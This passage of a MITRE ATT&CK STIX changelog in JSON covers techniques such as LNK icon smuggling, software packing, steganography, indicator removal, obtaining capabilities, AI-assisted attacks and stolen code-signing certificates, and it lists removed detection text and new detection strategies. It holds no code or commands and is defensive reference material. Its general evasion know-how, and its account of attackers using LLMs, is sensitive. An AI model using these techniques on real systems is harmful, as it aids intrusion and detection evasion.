"description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
"url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"
},
{
"source_name": "ATTACK IQ",
"description": "Federico Quattrin, Nick Desler, Tin Tam, & Matthew Rutkoske. (2023, March 16). Hiding in Plain Sight: Monitoring and Testing for Living-Off-the-Land Binaries. Retrieved July 15, 2024.",
"url": "https://www.attackiq.com/2023/03/16/hiding-in-plain-sight/"
},
{
"source_name": "TrendMicro WindowsAppMac",
"description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.",
"url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Praetorian",
"Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
"Liran Ravich, CardinalOps"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Creation\", \"Process: Process Creation\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:22.358000+00:00\", \"old_value\": \"2025-04-15 19:59:06.564000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0501: Detection Strategy for Compile After Delivery - Source Code to Executable Transformation"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-19 21:27:32.820000+00:00",
"modified": "2025-10-24 17:49:13.906000+00:00",
"name": "Indicator Removal from Tools",
"description": "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/005",
"external_id": "T1027.005"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.906000+00:00\", \"old_value\": \"2025-04-16 20:37:19.031000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0189: Detection Strategy for Indicator Removal from Tools - Post-AV Evasion Modification"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2023-09-29 15:28:42.409000+00:00",
"modified": "2025-10-24 17:49:04.385000+00:00",
"name": "LNK Icon Smuggling",
"description": "Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. \n\nAdversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads. \n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/012",
"external_id": "T1027.012"
},
{
"source_name": "Unprotect Shortcut",
"description": "Unprotect Project. (2019, March 18). Shortcut Hiding. Retrieved October 3, 2023.",
"url": "https://unprotect.it/technique/shortcut-hiding/"
},
{
"source_name": "Booby Trap Shortcut 2017",
"description": "Weyne, F. (2017, April). Booby trap a shortcut with a backdoor. Retrieved October 3, 2023.",
"url": "https://www.uperesia.com/booby-trapped-shortcut"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Michael Raggi @aRtAGGI",
"Andrew Northern, @ex_raritas",
"Gregory Lesnewich, @greglesnewich"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.385000+00:00\", \"old_value\": \"2025-04-15 22:44:37.776000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"\\n\", \"diff\": \"--- \\n+++ \\n@@ -1 +0,0 @@\\n-\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint",
"M1049: Antivirus/Antimalware"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Creation)",
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0405: Detection Strategy for LNK Icon Smuggling"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-05 14:17:46.686000+00:00",
"modified": "2025-10-24 17:49:29.503000+00:00",
"name": "Software Packing",
"description": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/002",
"external_id": "T1027.002"
},
{
"source_name": "Awesome Executable Packing",
"description": "Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved March 11, 2022.",
"url": "https://github.com/dhondta/awesome-executable-packing"
},
{
"source_name": "ESET FinFisher Jan 2018",
"description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.",
"url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Filip Kafka, ESET"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.503000+00:00\", \"old_value\": \"2025-04-16 20:37:22.038000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1049: Antivirus/Antimalware"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0023: Obfuscated Binary Unpacking Detection via Behavioral Patterns"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-05 14:28:16.719000+00:00",
"modified": "2025-10-24 17:49:20.395000+00:00",
"name": "Steganography",
"description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used\u202fInvoke-PSImage\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/003",
"external_id": "T1027.003"
},
{
"source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics",
"description": "Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.",
"url": "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/"
},
{
"source_name": "Wikipedia Duqu",
"description": "Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.",
"url": "https://en.wikipedia.org/wiki/Duqu"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.395000+00:00\", \"old_value\": \"2025-04-15 23:13:05.893000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0119: Detection Strategy for Steganographic Abuse in File & Script Execution"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 01:56:24.776000+00:00",
"modified": "2025-10-24 17:49:24.545000+00:00",
"name": "Obtain Capabilities",
"description": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1588",
"external_id": "T1588"
},
{
"source_name": "PegasusCitizenLab",
"description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
"url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/"
},
{
"source_name": "FireEyeSupplyChain",
"description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
"url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
},
{
"source_name": "DiginotarCompromise",
"description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
"url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
},
{
"source_name": "Recorded Future Beacon Certificates",
"description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.",
"url": "https://www.recordedfuture.com/research/cobalt-strike-servers"
},
{
"source_name": "Splunk Kovar Certificates 2017",
"description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
"url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
},
{
"source_name": "Analyzing CS Dec 2020",
"description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.",
"url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"
},
{
"source_name": "NationsBuying",
"description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
"url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Certificate: Certificate Registration\", \"Malware Repository: Malware Metadata\", \"Internet Scan: Response Content\", \"Malware Repository: Malware Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.545000+00:00\", \"old_value\": \"2025-04-15 22:54:16.100000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\\n\\nConsider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\\n-\\n-Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0004: Malware Repository (Malware Content)",
"DS0004: Malware Repository (Malware Metadata)",
"DS0035: Internet Scan (Response Content)",
"DS0037: Certificate (Certificate Registration)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0850: Detection of Obtain Capabilities"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2024-03-11 13:37:31.836000+00:00",
"modified": "2025-10-24 17:48:23.190000+00:00",
"name": "Artificial Intelligence",
"description": "Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI) \n\nFor example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI) Finally, AI-generated text, images, audio, and video may be used for fraud, [Impersonation](https://attack.mitre.org/techniques/T1656), and other malicious activities.(Citation: Google-Vishing24)(Citation: IC3-AI24)(Citation: WSJ-Vishing-AI24)\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1588/007",
"external_id": "T1588.007"
},
{
"source_name": "WSJ-Vishing-AI24",
"description": "Catherine Stupp. (2019, August 30). Fraudsters Used AI to Mimic CEO\u2019s Voice in Unusual Cybercrime Case. Retrieved March 18, 2025.",
"url": "https://www.wsj.com/articles/fraudsters-use-ai-to-mimic-ceos-voice-in-unusual-cybercrime-case-11567157402"
},
{
"source_name": "Google-Vishing24",
"description": "Emily Astranova, Pascal Issa. (2024, July 23). Whose Voice Is It Anyway? AI-Powered Voice Spoofing for Next-Gen Vishing Attacks. Retrieved March 18, 2025.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/ai-powered-voice-spoofing-vishing-attacks"
},
{
"source_name": "IC3-AI24",
"description": "IC3. (2024, December 3). Criminals Use Generative Artificial Intelligence to Facilitate Financial Fraud. Retrieved March 18, 2025.",
"url": "https://www.ic3.gov/PSA/2024/PSA241203"
},
{
"source_name": "MSFT-AI",
"description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.",
"url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/"
},
{
"source_name": "OpenAI-CTI",
"description": "OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved September 12, 2024.",
"url": "https://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Menachem Goldstein"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.190000+00:00\", \"old_value\": \"2025-04-15 19:58:05.447000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of generative artificial intelligence (i.e. [Phishing](https://attack.mitre.org/techniques/T1566), [Phishing for Information](https://attack.mitre.org/techniques/T1598)).\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0842: Detection of Artificial Intelligence"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 02:11:47.237000+00:00",
"modified": "2025-10-24 17:49:32.891000+00:00",
"name": "Code Signing Certificates",
"description": "Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1588/003",
"external_id": "T1588.003"
},
{
"source_name": "Wikipedia Code Signing",
"description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
"url": "https://en.wikipedia.org/wiki/Code_signing"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.891000+00:00\", \"old_value\": \"2025-04-15 22:05:19.685000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0004: Malware Repository (Malware Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0875: Detection of Code Signing Certificates"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 02:14:18.044000+00:00",
"modified": "2025-10-24 17:48:27.525000+00:00",
"name": "Digital Certificates",
